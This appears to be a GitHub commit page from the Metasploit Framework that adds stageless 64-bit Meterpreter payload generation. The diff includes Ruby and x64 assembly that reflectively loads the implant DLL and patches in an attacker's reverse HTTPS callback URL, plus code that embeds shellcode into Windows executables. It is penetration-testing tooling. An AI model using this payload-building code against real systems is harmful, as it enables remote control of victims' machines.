Skip to content

Commit 4f818dc

Browse files
author
HD Moore
committed
Lands rapid7#5032, stageless meterpreter 64-bit
2 parents fde7cdd + 5b5dc3e commit 4f818dc

13 files changed

+426
-63
lines changed
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex/parser/x509_certificate'
8+
9+
module Msf
10+
11+
##
12+
#
13+
# Helper functionality for handling of stageless http(s) payloads
14+
#
15+
##
16+
17+
module Handler::ReverseHttp::Stageless
18+
19+
include Msf::Payload::Windows::VerifySsl
20+
21+
def initialize_stageless
22+
register_options([
23+
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
24+
], self.class)
25+
end
26+
27+
def generate_stageless(&block)
28+
checksum = generate_uri_checksum(Handler::ReverseHttp::UriChecksum::URI_CHECKSUM_CONN)
29+
rand = Rex::Text.rand_text_alphanumeric(16)
30+
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
31+
32+
unless block_given?
33+
raise ArgumentError, "Stageless generation requires a block argument"
34+
end
35+
36+
# invoke the given function to generate the architecture specific payload
37+
block.call(url) do |dll|
38+
39+
# TODO: figure out this bit
40+
# patch the target ID into the URI if specified
41+
#if opts[:target_id]
42+
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
43+
# if i
44+
# t = opts[:target_id].to_s
45+
# raise "Target ID must be less than 5 bytes" if t.length > 4
46+
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
47+
# print_status("Patching Target ID #{t} into DLL")
48+
# dll[i, u.length] = u
49+
# end
50+
#end
51+
52+
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
53+
datastore['HandlerSSLCert'])
54+
55+
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
56+
:url => url,
57+
:ssl => true,
58+
:ssl_cert_hash => verify_cert_hash,
59+
:expiration => datastore['SessionExpirationTimeout'].to_i,
60+
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
61+
:ua => datastore['MeterpreterUserAgent'],
62+
:proxy_host => datastore['PayloadProxyHost'],
63+
:proxy_port => datastore['PayloadProxyPort'],
64+
:proxy_type => datastore['PayloadProxyType'],
65+
:proxy_user => datastore['PayloadProxyUser'],
66+
:proxy_pass => datastore['PayloadProxyPass'])
67+
end
68+
69+
end
70+
71+
end
72+
73+
end

lib/msf/core/payload/windows/stageless_meterpreter.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -51,7 +51,7 @@ def asm_invoke_metsrv(opts={})
5151
asm
5252
end
5353

54-
def generate_stageless_meterpreter(url = nil)
54+
def generate_stageless_x86(url = nil)
5555
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x86.dll'))
5656

5757
conf = {
Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
#-*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'rex/payloads/meterpreter/patch'
5+
6+
module Msf
7+
8+
##
9+
#
10+
# Implements stageless invocation of metsrv in x64
11+
#
12+
##
13+
14+
module Payload::Windows::StagelessMeterpreter_x64
15+
16+
include Msf::Payload::Windows
17+
include Msf::Payload::Single
18+
include Msf::ReflectiveDLLLoader
19+
20+
def asm_invoke_metsrv(opts={})
21+
asm = %Q^
22+
; prologue
23+
db 0x4d, 0x5a ; 'MZ' = "pop r10"
24+
push r10 ; back to where we started
25+
push rbp ; save rbp
26+
mov rbp, rsp ; set up a new stack frame
27+
sub rsp, 32 ; allocate some space for calls.
28+
; GetPC
29+
call $+5 ; relative call to get location
30+
pop rbx ; pop return value
31+
; Invoke ReflectiveLoader()
32+
; add the offset to ReflectiveLoader()
33+
add rbx, #{"0x%.8x" % (opts[:rdi_offset] - 0x11)}
34+
call rbx ; invoke ReflectiveLoader()
35+
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
36+
; offset from ReflectiveLoader() to the end of the DLL
37+
add rbx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
38+
mov r8, rbx ; r8 points to the extension list
39+
mov rbx, rax ; save DllMain for another call
40+
push 4 ; push up 4, indicate that we have attached
41+
pop rdx ; pop 4 into rdx
42+
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
43+
; Invoke DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
44+
; push the exitfunk value onto the stack
45+
mov r8d, #{"0x%.8x" % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
46+
push 5 ; push 5, indicate that we have detached
47+
pop rdx ; pop 5 into rdx
48+
call rbx ; call DllMain(hInstance, DLL_METASPLOIT_DETACH, exitfunk)
49+
^
50+
51+
asm
52+
end
53+
54+
def generate_stageless_x64(url = nil)
55+
dll, offset = load_rdi_dll(MeterpreterBinaries.path('metsrv', 'x64.dll'))
56+
57+
conf = {
58+
:rdi_offset => offset,
59+
:length => dll.length,
60+
:exitfunk => datastore['EXITFUNC']
61+
}
62+
63+
asm = asm_invoke_metsrv(conf)
64+
65+
# generate the bootstrap asm
66+
bootstrap = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string
67+
68+
# sanity check bootstrap length to ensure we dont overwrite the DOS headers e_lfanew entry
69+
if bootstrap.length > 62
70+
print_error("Stageless Meterpreter generated with oversized x64 bootstrap.")
71+
return
72+
end
73+
74+
# patch the binary with all the stuff
75+
dll[0, bootstrap.length] = bootstrap
76+
77+
# the URL might not be given, as it might be patched in some other way
78+
if url
79+
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
80+
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
81+
# If the patching failed this could mean that we are somehow
82+
# working with outdated binaries, so try to patch with the
83+
# old stuff.
84+
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
85+
end
86+
end
87+
88+
# if a block is given then call that with the meterpreter dll
89+
# so that custom patching can happen if required
90+
yield dll if block_given?
91+
92+
# append each extension to the payload, including
93+
# the size of the extension
94+
unless datastore['EXTENSIONS'].nil?
95+
datastore['EXTENSIONS'].split(',').each do |e|
96+
e = e.strip.downcase
97+
ext, o = load_rdi_dll(MeterpreterBinaries.path("ext_server_#{e}", 'x64.dll'))
98+
99+
# append the size, offset to RDI and the payload itself
100+
dll << [ext.length].pack('V') + ext
101+
end
102+
end
103+
104+
# Terminate the "list" of extensions
105+
dll + [0].pack('V')
106+
end
107+
108+
end
109+
110+
end
111+

lib/msf/util/exe.rb

Lines changed: 11 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -183,12 +183,8 @@ def self.to_win32pe(framework, code, opts = {})
183183
payload = win32_rwx_exec(code)
184184

185185
# Create a new PE object and run through sanity checks
186-
fsize = File.size(opts[:template])
187186
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
188187

189-
text = nil
190-
pe.sections.each {|sec| text = sec if sec.name == ".text"}
191-
192188
#try to inject code into executable by adding a section without affecting executable behavior
193189
if opts[:inject]
194190
injector = Msf::Exe::SegmentInjector.new({
@@ -199,6 +195,9 @@ def self.to_win32pe(framework, code, opts = {})
199195
return injector.generate_pe
200196
end
201197

198+
text = nil
199+
pe.sections.each {|sec| text = sec if sec.name == ".text"}
200+
202201
raise RuntimeError, "No .text section found in the template" unless text
203202

204203
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
@@ -521,19 +520,16 @@ def self.to_win64pe(framework, code, opts = {})
521520
return injector.generate_pe
522521
end
523522

524-
opts[:exe_type] = :exe_sub
525-
return exe_sub_method(code,opts)
523+
#opts[:exe_type] = :exe_sub
524+
#return exe_sub_method(code,opts)
526525

527-
#
528-
# TODO: 64-bit support is currently failing to stage
529-
#
530526
# Append a new section instead
531-
# appender = Msf::Exe::SegmentAppender.new({
532-
# :payload => code,
533-
# :template => opts[:template],
534-
# :arch => :x64
535-
# })
536-
# return appender.generate_pe
527+
appender = Msf::Exe::SegmentAppender.new({
528+
:payload => code,
529+
:template => opts[:template],
530+
:arch => :x64
531+
})
532+
return appender.generate_pe
537533
end
538534

539535
# Embeds shellcode within a Windows PE file implementing the Windows

modules/payloads/singles/windows/meterpreter_bind_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99
require 'msf/base/sessions/meterpreter_x86_win'
1010
require 'msf/base/sessions/meterpreter_options'
1111

12-
module Metasploit3
12+
module Metasploit4
1313

1414
CachedSize = :dynamic
1515

@@ -37,7 +37,7 @@ def initialize(info = {})
3737
def generate
3838
# blank LHOST indicates bind payload
3939
url = "tcp://:#{datastore['LPORT']}"
40-
generate_stageless_meterpreter(url)
40+
generate_stageless_x86(url)
4141
end
4242

4343
end

modules/payloads/singles/windows/meterpreter_reverse_https.rb

Lines changed: 7 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -5,18 +5,18 @@
55

66
require 'msf/core'
77
require 'msf/core/handler/reverse_https'
8+
require 'msf/core/handler/reverse_http/stageless'
89
require 'msf/core/payload/windows/stageless_meterpreter'
910
require 'msf/base/sessions/meterpreter_x86_win'
1011
require 'msf/base/sessions/meterpreter_options'
11-
require 'rex/parser/x509_certificate'
1212

13-
module Metasploit3
13+
module Metasploit4
1414

1515
CachedSize = :dynamic
1616

1717
include Msf::Payload::Windows::StagelessMeterpreter
18+
include Msf::Handler::ReverseHttp::Stageless
1819
include Msf::Sessions::MeterpreterOptions
19-
include Msf::Payload::Windows::VerifySsl
2020

2121
def initialize(info = {})
2222

@@ -31,48 +31,13 @@ def initialize(info = {})
3131
'Session' => Msf::Sessions::Meterpreter_x86_Win
3232
))
3333

34-
register_options([
35-
OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
36-
], self.class)
34+
initialize_stageless
3735
end
3836

3937
def generate
40-
checksum = generate_uri_checksum(Handler::ReverseHttp::UriChecksum::URI_CHECKSUM_CONN)
41-
rand = Rex::Text.rand_text_alphanumeric(16)
42-
url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/#{checksum}_#{rand}/"
43-
44-
generate_stageless_meterpreter(url) do |dll|
45-
46-
# TODO: figure out this bit
47-
# patch the target ID into the URI if specified
48-
#if opts[:target_id]
49-
# i = dll.index("/123456789 HTTP/1.0\r\n\r\n\x00")
50-
# if i
51-
# t = opts[:target_id].to_s
52-
# raise "Target ID must be less than 5 bytes" if t.length > 4
53-
# u = "/B#{t} HTTP/1.0\r\n\r\n\x00"
54-
# print_status("Patching Target ID #{t} into DLL")
55-
# dll[i, u.length] = u
56-
# end
57-
#end
58-
59-
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
60-
datastore['HandlerSSLCert'])
61-
62-
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(dll,
63-
:url => url,
64-
:ssl => true,
65-
:ssl_cert_hash => verify_cert_hash,
66-
:expiration => datastore['SessionExpirationTimeout'].to_i,
67-
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
68-
:ua => datastore['MeterpreterUserAgent'],
69-
:proxy_host => datastore['PayloadProxyHost'],
70-
:proxy_port => datastore['PayloadProxyPort'],
71-
:proxy_type => datastore['PayloadProxyType'],
72-
:proxy_user => datastore['PayloadProxyUser'],
73-
:proxy_pass => datastore['PayloadProxyPass'])
74-
end
75-
38+
# generate a stageless payload using the x86 version of
39+
# the stageless generator
40+
generate_stageless(&method(:generate_stageless_x86))
7641
end
7742

7843
end

modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99
require 'msf/base/sessions/meterpreter_x86_win'
1010
require 'msf/base/sessions/meterpreter_options'
1111

12-
module Metasploit3
12+
module Metasploit4
1313

1414
CachedSize = :dynamic
1515

@@ -37,7 +37,7 @@ def initialize(info = {})
3737

3838
def generate
3939
url = "tcp6://#{datastore['LHOST']}:#{datastore['LPORT']}?#{datastore['SCOPEID']}"
40-
generate_stageless_meterpreter(url)
40+
generate_stageless_x86(url)
4141
end
4242

4343
end

modules/payloads/singles/windows/meterpreter_reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,7 @@ def initialize(info = {})
3636

3737
def generate
3838
url = "tcp://#{datastore['LHOST']}:#{datastore['LPORT']}"
39-
generate_stageless_meterpreter(url)
39+
generate_stageless_x86(url)
4040
end
4141

4242
end

0 commit comments

Comments
 (0)